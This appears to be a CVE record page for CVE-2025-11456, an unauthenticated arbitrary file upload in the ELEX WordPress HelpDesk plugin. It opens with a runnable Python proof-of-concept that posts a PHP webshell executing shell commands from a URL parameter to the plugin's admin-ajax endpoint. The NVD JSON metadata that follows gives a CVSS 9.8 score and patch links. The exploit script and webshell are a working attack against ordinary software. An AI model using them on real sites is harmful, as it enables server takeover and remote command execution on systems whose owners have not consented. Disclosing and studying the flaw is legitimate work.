CVE-2025-11456

import requests import sys # CVE-2025-11456 PoC - Arbitrary File Upload in ELEX WordPress HelpDesk Plugin # Target: WordPress site with ELEX HelpDesk plugin <= 3.3.1 # Vulnerability: Missing file type validation in eh_crm_new_ticket_post() def upload_shell(target_url, webshell_content): """ Upload arbitrary file to target server via vulnerable endpoint """ # Construct upload endpoint upload_url = f"{target_url}/wp-admin/admin-ajax.php" # Prepare malicious file files = { 'file': ('shell.php', webshell_content, 'application/x-php') } # Form data for ticket submission data = { 'action': 'eh_crm_new_ticket_post', 'ticket_subject': 'Test Ticket', 'ticket_body': 'This is a test ticket', 'ticket_priority': 'low' } try: # Send malicious upload request response = requests.post(upload_url, data=data, files=files, timeout=10) if response.status_code == 200: print('[+] File upload request sent successfully') print(f'[+] Response: {response.text}') return True else: print(f'[-] Request failed with status: {response.status_code}') return False except requests.exceptions.RequestException as e: print(f'[-] Error: {str(e)}') return False if __name__ == '__main__': if len(sys.argv) < 2: print(f'Usage: python {sys.argv[0]} <target_url>') print(f'Example: python {sys.argv[0]} http://example.com') sys.exit(1) target = sys.argv[1].rstrip('/') # PHP webshell content webshell = '<?php if(isset($_GET["cmd"])){ system($_GET["cmd"]); } ?>' print('[*] CVE-2025-11456 PoC - ELEX HelpDesk Arbitrary File Upload') print(f'[*] Target: {target}') upload_shell(target, webshell)

{"cve": {"id": "CVE-2025-11456", "sourceIdentifier": "[email protected]", "published": "2025-11-21T08:15:48.650", "lastModified": "2025-11-26T16:51:45.093", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The ELEX WordPress HelpDesk & Customer Ticketing System plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the eh_crm_new_ticket_post() function in all versions up to, and including, 3.3.1. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:elula:wsdesk:*:*:*:*:free:wordpress:*:*", "versionEndExcluding": "3.3.2", "matchCriteriaId": "6D3C90F8-FBE9-409A-A29E-3D775928E2BF"}]}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/elex-helpdesk-customer-support-ticket-system/trunk/includes/class-crm-ajax-functions-three.php?rev=3332203", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://plugins.trac.wordpress.org/changeset/3399391/elex-helpdesk-customer-support-ticket-system/trunk/includes/class-crm-ajax-functions-three.php", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://wordpress.org/plugins/elex-helpdesk-customer-support-ticket-system/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/a6f362c1-fe64-4be1-9713-14c0561a59ce?source=cve", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}